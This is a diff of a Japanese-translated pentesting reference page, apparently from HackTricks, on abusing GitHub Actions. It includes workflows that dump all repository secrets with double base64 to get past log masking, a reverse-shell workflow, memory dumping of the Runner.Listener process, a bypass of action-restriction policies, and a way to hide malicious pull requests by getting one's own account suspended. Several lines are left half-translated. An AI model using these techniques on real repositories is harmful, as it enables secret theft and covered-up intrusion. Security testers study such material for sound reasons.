+[**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) で述べられているように、リポジトリや組織が特定の actions の利用を制限するポリシーを持っていても、攻撃者は単にワークフロー内で action をクローン（`git clone`）してローカル action として参照することができます。ポリシーはローカルパスに影響しないため、**その action は制限なしに実行されます。**
+
+Example:
+```yaml
+on: [push, pull_request]
+
+jobs:
+test:
+runs-on: ubuntu-latest
+steps:
+- run: |
+mkdir -p ./tmp
+git clone https://github.com/actions/checkout.git ./tmp/checkout
+
+- uses: ./tmp/checkout
+with:
+repository: woodruffw/gha-hazmat
+path: gha-hazmat
+
+- run: ls && pwd
+
+- run: ls tmp/checkout
+```
+### OIDC 経由での AWS と GCP へのアクセス
+
+次のページを確認してください:
 
 {{#ref}}
 ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -440,15 +468,15 @@ gh-actions-artifact-poisoning.md
 ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
 {{#endref}}
 
-### シークレットへのアクセス <a href="#accessing-secrets" id="accessing-secrets"></a>
+### 秘密へのアクセス <a href="#accessing-secrets" id="accessing-secrets"></a>
 
-スクリプトにコンテンツを注入している場合、シークレットにアクセスする方法を知っておくと興味深いです：
+スクリプトにコンテンツを注入する場合、シークレットへどのようにアクセスできるかを知っておくと役に立ちます:
 
-- シークレットまたはトークンが**環境変数**に設定されている場合、**`printenv`**を使用して環境を介して直接アクセスできます。
+- シークレットやトークンが **環境変数** に設定されている場合、**`printenv`** を使って環境から直接取得できます。
 
 <details>
 
-<summary>Github Action出力のシークレット一覧</summary>
+<summary>Github Action の出力にシークレットを一覧表示</summary>
 ```yaml
 name: list_env
 on:
@@ -475,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>シークレットを使ってリバースシェルを取得</summary>
+<summary>secrets を使って reverse shell を取得する</summary>
 ```yaml
 name: revshell
 on:
@@ -498,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-- 秘密が**式に直接使用される**場合、生成されたシェルスクリプトは**ディスク上**に保存され、アクセス可能です。
+- secretが**直接式で使用される**場合、生成されたシェルスクリプトは**ディスク上に保存**され、アクセス可能になります。
 - ```bash
 cat /home/runner/work/_temp/*
 ```
-- JavaScriptアクションの場合、秘密は環境変数を通じて送信されます。
+- JavaScript actionsの場合、secretsは環境変数を通して渡されます
 - ```bash
 ps axe | grep node
 ```
-- **カスタムアクション**の場合、秘密を取得したプログラムの使用方法によってリスクが異なる可能性があります：
+- For a **custom action**, プログラムが**argument**から取得したsecretをどのように使用するかによってリスクは異なります:
 
 ```yaml
 uses: fakeaction/publish@v3
@@ -514,23 +542,47 @@ with:
 key: ${{ secrets.PUBLISH_KEY }}
 ```
 
-### セルフホストランナーの悪用
+- secrets contextを使ってすべてのsecretsを列挙します（collaborator level）。書き込み権限を持つcontributorは任意のブランチのworkflowを変更して、リポジトリ/org/environmentのすべてのsecretsをダンプできます。GitHubのログマスキングを回避するためにdouble base64を使い、ローカルでデコードしてください:
 
-**Github Actionsが非Githubインフラストラクチャで実行されている**かどうかを見つける方法は、Github Action構成yaml内で**`runs-on: self-hosted`**を検索することです。
+```yaml
+name: Steal secrets
+on:
+push:
+branches: [ attacker-branch ]
+jobs:
+dump:
+runs-on: ubuntu-latest
+steps:
+- name: Double-base64 the secrets context
+run: |
+echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
+```
 
-**セルフホスト**ランナーは、**追加の機密情報**や他の**ネットワークシステム**（ネットワーク内の脆弱なエンドポイント？メタデータサービス？）にアクセスできる可能性があります。また、隔離されて破壊されていても、**同時に複数のアクションが実行される可能性**があり、悪意のあるアクションが他のアクションの**秘密を盗む**ことができます。
+ローカルでデコード:
 
-セルフホストランナーでは、**\_Runner.Listener**\_\*\*プロセスから**秘密を取得することも可能であり**、そのメモリをダンプすることでワークフローのすべての秘密を含むことができます：
+```bash
+echo "ZXdv...Zz09" | base64 -d | base64 -d
+```
+
+Tip: テスト時のステルスのため、出力前に暗号化してください（opensslはGitHub-hosted runnersにプリインストールされています）。
+
+### Self-hosted runnersの悪用
+
+非GitHubインフラで実行されている**Github Actionsを見つける方法**は、Github Action設定yamlで**`runs-on: self-hosted`**を検索することです。
+
+**Self-hosted** runnersは**追加の機密情報**や他の**ネットワークシステム**（ネットワーク内の脆弱なエンドポイント？メタデータサービス？）にアクセスできる可能性があります。たとえ隔離され破棄される場合でも、**複数のactionが同時に実行されることがあり**、悪意あるものが他のactionの**secretsを奪う**可能性があります。
+
+self-hosted runnersでは、メモリをダンプすることで、ワークフローの任意のステップのすべてのsecretsを含む**secrets from the \_Runner.Listener**\_\*\* process\*\*を取得することも可能です:
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
 ```
-チェックしてください[**この投稿で詳細情報を確認**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/)。
+Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
 
-### Github Docker Images Registry
+### Github Docker Images レジストリ
 
-Github内に**Dockerイメージをビルドして保存する**Githubアクションを作成することが可能です。\
-以下の展開可能な例を参照してください：
+Github actions を使って **Docker image をビルドして Github 内に保存する** ワークフローを作成することが可能です。\
+例は以下の展開可能なセクションにあります:
 
 <details>
 
@@ -565,30 +617,34 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
 ```
 </details>
 
-前のコードで示したように、Githubレジストリは**`ghcr.io`**にホストされています。
+前述のコードから分かるように、Github レジストリは **`ghcr.io`** にホストされています。
 
-リポジトリに対する読み取り権限を持つユーザーは、個人アクセストークンを使用してDockerイメージをダウンロードできるようになります：
+リポジトリに対して読み取り権限を持つユーザーは、personal access token を使用して Docker Image をダウンロードできます:
 ```bash
 echo $gh_token | docker login ghcr.io -u <username> --password-stdin
 docker pull ghcr.io/<org-name>/<repo_name>:<tag>
 ```
-その後、ユーザーは**Dockerイメージのレイヤー内の漏洩した秘密を検索することができます:**
+その後、ユーザーは**leaked secrets in the Docker image layers:**を検索できます：
 
 {{#ref}}
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
 {{#endref}}
 
-### Github Actionsログの機密情報
+### Github Actions ログの機密情報
 
-たとえ**Github**がアクションログ内の**秘密の値を検出し**、**表示を避けようとしても**、アクションの実行中に生成された**他の機密データ**は隠されません。たとえば、秘密の値で署名されたJWTは、[特に設定されていない限り](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret)、隠されません。
+たとえ**Github**がアクションログ内の**シークレット値を検出し**、**表示を抑える**ようにしても、アクション実行中に生成され得る**その他の機密データ**は隠されません。例えば、秘密値で署名されたJWTは[特別に設定されていない限り](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret)非表示になりません。
 
-## 足跡を隠す
+## 痕跡の隠蔽
 
-（[**ここからの技術**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)）まず第一に、提出されたPRはGithub上で公開され、ターゲットのGitHubアカウントにも明らかに見えます。デフォルトでは、GitHubでは**インターネット上のPRを削除することはできません**が、ひねりがあります。Githubによって**停止された**GitHubアカウントの場合、すべての**PRは自動的に削除され**、インターネットから取り除かれます。したがって、活動を隠すためには、**GitHubアカウントを停止させるか、アカウントをフラグ付けさせる必要があります**。これにより、GitHub上のすべての活動がインターネットから隠されます（基本的にすべてのエクスプロイトPRを削除します）。
+(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) まず、作成されたPRはGithub上で公衆およびターゲットのGitHubアカウントから明確に見えます。GitHubではデフォルトでインターネット上のPRを**削除することはできません**が、ここにひとつの裏技があります。Githubによってアカウントが**suspended**されると、そのアカウントのすべての**PRsは自動的に削除され**インターネットから取り除かれます。したがって、自分の活動を隠すには、自分の**GitHub account suspended or get your account flagged**ように仕向ける必要があります。これによりGitHub上のあなたのすべての活動がインターネットから**隠されます**（基本的にはエクスプロイトPRをすべて削除することになります）。
 
-GitHubの組織は、アカウントをGitHubに報告することに非常に積極的です。必要なことは、Issueに「いくつかのもの」を共有するだけで、彼らはあなたのアカウントが12時間以内に停止されることを確認します :p そして、あなたのエクスプロイトはGitHub上で見えなくなります。
+An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
 
 > [!WARNING]
-> 組織がターゲットにされたことを把握する唯一の方法は、GitHub UIからPRが削除されるため、SIEMからGitHubログを確認することです。
+> 組織が自分たちが標的になったことを把握する唯一の方法は、GitHub UIからはPRが削除されるため、SIEMからGitHubログを確認することです。
+
+## References
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 
 {{#include ../../../banners/hacktricks-training.md}}